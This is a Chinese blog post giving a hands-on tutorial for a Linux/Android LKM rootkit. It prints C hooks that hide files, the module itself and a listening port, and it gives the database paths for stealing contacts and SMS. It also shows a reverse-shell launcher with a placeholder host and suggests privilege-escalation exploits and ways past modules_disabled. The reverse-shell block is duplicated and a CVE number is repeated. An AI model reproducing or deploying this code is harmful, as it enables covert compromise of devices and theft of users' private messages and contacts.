小谈android/Linux rootkit（基于LKM）

     最近又学习了一下，感觉还有好多东西不知道，以后积累多一点再从新写一个。

　　在android上捣鼓了一下linux的内核rootkit，虽然中途遇到了无数坑，至今也没有完全写完，打算先好好啃一段时间linux内核，和理解一下android的linux内核的安全机制再继续写。但还是收获不小，想分享一下学习的一点小心得。

　　一个完整的内核rootkit大致可分为3个部分，分别为一：自身隐藏，二：信息收集，三：系统攻击。本文也打算从这三方面入手，其中自身隐藏和pc端大体一致。鉴于pc比android运行方便，就直接在pc上进行测试了，对于系统攻击来说，脑洞越大，攻击方式就越多，思路就越广。当然，由于作者的水平有限，中有错误，敬请指教。

一：自身隐藏

　　从信息隐藏开始，一个优秀的内核rootkit应该潜伏在系统的角落就像古代的刺客一般，无声无息，。至少需要做到以下几点:

　　　　一：文件隐藏

　　　　二：内核模块隐藏

　　　　三：端口隐藏

　　　　四：进程隐藏

　　简单粗暴的隐藏方法是直接hook系统调用表（sys_call_table），一方面，由于不少anti-rootkit会检测sys_call_table，另一方面，用这个方法就少了很多理解linux的机会。所以，打算换一种方式来进行hook，hook 函数api。

　　在笔者眼中，hook 函数基本就是先缕清实现功能的函数的具体工作流程，找到hook点，这个hook点基本是一个数据结构里的指针，然后想办法得到这个数据结构的实例，将

这个指针替换成的自己编写的函数的地址。

　　1.实现文件隐藏。新版本和老版本在实现ls时有一定的区别。老版本（以2.6.11为例）调用的是file_operation->readdir(),而新版本（以4.4.20为例）file_operation->iterator(),分别对两者的hook实现进行分析，更能加深对hook的理解。先看老版本，直接看源代码，file_operations的数据结构位于/include/linux/fs.h

在/fs/（$fs文件系统格式)/dir.c中，file_operation->readdir进行赋值，大致的调用流程为sys_getdents->ext4_readdir(readdir所赋值得函数）--ext4_dx_readdir在其中用filldir_t输出缓冲。所以，可以直接hook readdir,在hook_readdir里面替换了filldir函数。

int hook_readdir(struct file  filp,void * buffer,filldir_t filldir)

{
        real_filldir = filldir;
        return real_readdir( filp, buffer,fake_filldir);
}

int fake_filldir(void * __buf, const char * name, int namlen, loff_t offset,u64 ino, unsigned int d_type)
{
    if (strcmp(name, SECRET_FILE) == 0) {
        printk("Hiding: %s", name);
        return 0;
    }
    return real_filldir(__buf, name, namlen, offset, ino, d_type);
}

然后需要找到file_operation的实例，并进行hook简化代码如下：

filp = filp_open(path, O_RDONLY, 0); 
f_op = (struct file_operations *)filp->f_op; 
old = f_op->op;                           
disable_write_protection();                
f_op->op = new;                                  enable_write_protection();                      
                                           

于是乎，便完成了基本的文件隐藏。

在看一下新版本的文件隐藏，直接看源代码：

在新版中，是调用了iterator函数，遗憾的是，不能直接看到filldir函数，直接分析函数流程sys_getdents->ext4_readdir(readdir所赋值得函数）->ext4_dx_readdir，由于参数改变，内部实现有变化，经过很多阶段，会发现，dir_context->actor就是我们需要的filldir函数，所以，进行hook，简化代码如下：

int
hook_iterate(struct file *filp, struct dir_context *ctx)
{

    real_filldir = ctx->actor;
    *(filldir_t *)&ctx->actor = hook_filldir;
    return real_iterate(filp, ctx);
}


int
hook_filldir(struct dir_context *ctx, const char *name, int namlen,
             loff_t offset, u64 ino, unsigned d_type)
{
    if (strncmp(name, SECRET_FILE, strlen(SECRET_FILE)) == 0) {
        fm_alert("Hiding: %s", name);
        return 0;
    }
    return real_filldir(ctx, name, namlen, offset, ino, d_type);
}

两者的函数实现虽然略有不同，但是hook的机理却相似。

　　2：实现内核模块隐藏

　　 传统的内核模块隐藏大致可以分为两部分其一：针对lsmod命令进行隐藏，基本逻辑是insmod在进行加载的时候会将自己的信息struct module结构体相关联，而所有的内核模块都被维护在一个全局链表中，lsmod通过对这个链表进行遍历来输出所有的模块信息，所以直接将模块进行删除就可以了，linux内核自带这个函数，函数为list_del_init，定义于include/linux/list.h中，我们可以看下它的实现：

static inline void list_del_init (struct list_head * entry)
{
     __list_del (entry->prev, entry->next);
     INIT_LIST_HEAD (entry);
}
 
static inline void __list_del (struct list_head * prev, struct list_head * next)
{
     next-> prev = prev;
     prev-> next = next;
}
 
static inline void INIT_LIST_HEAD (struct list_head * list)
{
     list-> next = list;
     list-> prev = list;
}

 　　其二，为针对/sys/module/的隐藏

　　sys目录下挂在的是sysfs文件系统，sysyfs是一个处于内存的虚拟文件系统，为我们提供kobject对象层次结构，是我们以一个简单文件系统的方式观察各种设备的拓扑结构，其中modules里就包含所有的模块信息，而在sysfs系统中，它和kobject紧密相关，可用kobject_add和kobject_del函数进行增加和删除，具体代码代码如下：

void kobject_del(struct kobject *kobj)
{
    struct kernfs_node *sd;

    if (!kobj)
        return;

    sd = kobj->sd;
    sysfs_remove_dir(kobj);
    sysfs_put(sd);

    kobj->state_in_sysfs = 0;
    kobj_kset_leave(kobj);
    kobject_put(kobj->parent);
    kobj->parent = NULL;
}

int kobject_add(struct kobject *kobj, struct kobject *parent,
        const char *fmt, ...)
{
    va_list args;
    int retval;

    if (!kobj)
        return -EINVAL;

    if (!kobj->state_initialized) {
        printk(KERN_ERR "kobject '%s' (%p): tried to add an "
               "uninitialized object, something is seriously wrong.
",
               kobject_name(kobj), kobj);
        dump_stack();
        return -EINVAL;
    }
    va_start(args, fmt);
    retval = kobject_add_varg(kobj, parent, fmt, args);
    va_end(args);

    return retval;
}

以上便是比较比较流行有效的方法，当然，也有它的缺陷，比如无法卸载：

测试代码如下：

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>

static int hook_init(void)
{
    list_del_init(&__this_module.list);
    kobject_del(&THIS_MODULE->mkobj.kobj);    

    printk("module loaded
");
    return 0;
}

static void hook_exit(void)
{
    printk("module removed
");
}

module_init(hook_init);
module_exit(hook_exit);

　　所以，可以用hook函数的方法来进行隐藏，浏览内核源码，我们可以发现， /proc/modules 的实现位于kernel/module.c ， 并且主要的实现函数是m_show  。搜索m_show

,可以发现函数是被赋值给seq_operations->show(),

struct seq_operations {
      void * (*start) (struct seq_file *m, loff_t *pos);
      void (*stop) (struct seq_file *m, void *v);
      void * (*next) (struct seq_file *m, void *v, loff_t *pos);
       int (*show) (struct seq_file *m, void *v);
  };
 

直接搜索调用，发现只有module_open()调用了该数据结构，进入该函数观察：

int seq_open(struct file *file, const struct seq_operations *op)
{
    struct seq_file *p;
    WARN_ON(file->private_data);
    p = kzalloc(sizeof(*p), GFP_KERNEL);
    if (!p)
        return -ENOMEM;
    file->private_data = p;
    mutex_init(&p->lock);
    p->op = op;
#ifdef CONFIG_USER_NS
    p->user_ns = file->f_cred->user_ns;
#endif
    file->f_version = 0;
    file->f_mode &= ~FMODE_PWRITE;
    return 0;
}

意思大致是file->private_data->op = op,而op包含了show函数，得到file->private_data->op的实例，对其进行hook，简化代码如下

filp = filp_open(path, O_RDONLY, 0);
seq = (struct seq_file *)filp->private_data; 
seq_op = (struct seq_operations *)seq->op; 
old = seq_op->show;                                   
disable_write_protection();                 
seq_op->show = new;                             
enable_write_protection();                           
                                                         

　　三：隐藏端口

　　端口隐藏和模块类似，粗略写一下，lxr里直接找show函数，以tcp为例，发现在net/ipv4/tcp_ipv4中，数据结构tcp4_seq_afinfo中show被tcp_seq_show赋值，查找tcp4_seq_afinfo，然后经过几轮跟踪，最后在proc_create_data中被赋值给proc_dir_entry->data,利用宏afinfo=PED_DATA(filp->f_path.dentry->i_inode)；hook简化代码如下：

filp = filp_open(path, O_RDONLY, 0);
afinfo = PDE_DATA(filp->f_path.dentry->d_inode);
old = afinfo->seq_ops.op; 
 afinfo->seq_ops.op = new;
filp_close(filp, 0);  

基本功能实现代码为：

int
fake_seq_show(struct seq_file *seq, void *v)
{
    int ret;
    char needle[NEEDLE_LEN];
    snprintf(needle, NEEDLE_LEN, ":%04X", SECRET_PORT);
    ret = real_seq_show(seq, v);

    if (strnstr(seq->buf + seq->count - TMPSZ, needle, TMPSZ)) {
        fm_alert("Hiding port %d using needle %s.
",
                 SECRET_PORT, needle);
        seq->count -= TMPSZ;
    }

    return ret;
}

　　四：进程隐藏

　　根据linux一切即文件，直接hook /proc目录即可，略。

二：信息收集

　　android手机的数据都在/data/data里面，其中通讯录位置在/data/data/com.providers.contacts/databases/contacts2.db，短信信息是在./data/data/com.android.providers.telephony/databases/mmssms.db，至于想怎么玩，看你们自己的喽。

三：系统攻击

　　只是提供一些思路和一些尝试。

　　首先，当然要先建立一个reverseshell，这个可以直接参考2010的defcon-18大会的rootkit。直接贴代码：

void reverseshell ()
{
  static char *path = "/data/local/shell";
  char *argv[] = { "/data/local/shell", "127.0.0.1", "80", NULL }; //Change me
  static char *envp[] =
    { "HOME=/", "PATH=/sbin:/system/sbin:/system/bin:/system/xbin", NULL };
  call_usermodehelper (path, argv, envp, 1);
}

　　当然，如果手机没有root，自然没办法insmod，可以想办法先把手机root掉。这个方面可以利用一些的linux提权的exp。从网上找，或者直接逆向市场上的一键root软件，直接提取exp，又或者自己挖0day（偷笑），写exp，下面提供几个最近的cve提权漏洞的编号，下一篇文章可能会谈论这方面的东西。有兴趣也可以自己看分析文章CVE-2015-1805（数组越位漏洞，exp没怎么看懂），CVE-2015-3636（UAF漏洞，去年挺有名的一个漏洞，也很好用），CVE-2015-3636（UAF导致的整数溢出，说真的，实用价值不高，有人测试，i7电脑都要跑半个小时，手机。。。不说了）。

　　然后看一下怎么绕过modules_disaled:先看一下在/kernel/modules.c关于这一机制的源码：

SYSCALL_DEFINE3(init_module, void __user *, umod,
        unsigned long, len, const char __user *, uargs)
{
    int err;
    struct load_info info = { };

    err = may_init_module();
    if (err)
        return err;

    pr_debug("init_module: umod=%p, len=%lu, uargs=%p
",
           umod, len, uargs);

    err = copy_module_from_user(umod, len, &info);
    if (err)
        return err;

    return load_module(&info, uargs, 0);
}

　　可以看到，初始化模块的系统调用（和其他系统调用像delete_module / finit_module /）将在允许模块进行之前先进行modules_disaled判定。那么，我们如何绕过这个问题呢？首先，先看看其他不依赖这些系统调用的模块加载，但是这些只用于启动或者做一些用户数据无法抵达的函数调用。所以，最好的思路就是想办法改掉modules_disbled的值。

　　Mathew Garrett在2013年在linux邮件列表上发了一遍文章，他提出了12种不同的方法：

　　　　1：利用kexec函数：kexec是linux内核的一个特性，允许在运行时替换内核。

　　　　　　不得不说kexec是一个很神奇的函数，它是linux内核的特性，允许在运行时替换内核。

　 　　　原理如下：kexec系统调用接口取得段列表（指向用户缓存和预期目标）和入口指针，内核重定位这些段并跳到入口指针所指的地址，由于这个地址上两 个内核代码之间，所以被称为purgatory。purgatory主要作用是设置第二个内核代码的环境，并调转到第二个内核之中,而第一个内核根本不知 道第二个内核发生了什么，而你就能在第二个内核里加载任何东西了。详情参考http://mjg59.dreamwidth.org/28746.html 。　　

　　　　2：利用cve-2013-0368：

　　　　　　cve是这样描述的"Linux kernel 3.7.6之前版本中的arch/x86/kernel/msr.c中的msr_open函数中存在漏洞。以root权限执行特制的应用程序如msr32.c，本地攻击者利用该漏洞绕过预期的功能限制。"

　　现在可以看一下攻击了，说到攻击，肯定要建立一个reverseshell，这个可以直接参考2010的defcon-18大会的rootkit。直接贴代码：

void reverseshell ()
{
  static char *path = "/data/local/shell";
  char *argv[] = { "/data/local/shell", "127.0.0.1", "80", NULL }; //Change me
  static char *envp[] =
    { "HOME=/", "PATH=/sbin:/system/sbin:/system/bin:/system/xbin", NULL };
  call_usermodehelper (path, argv, envp, 1);
}

　　

　　其它的技术有限，日后再说吧！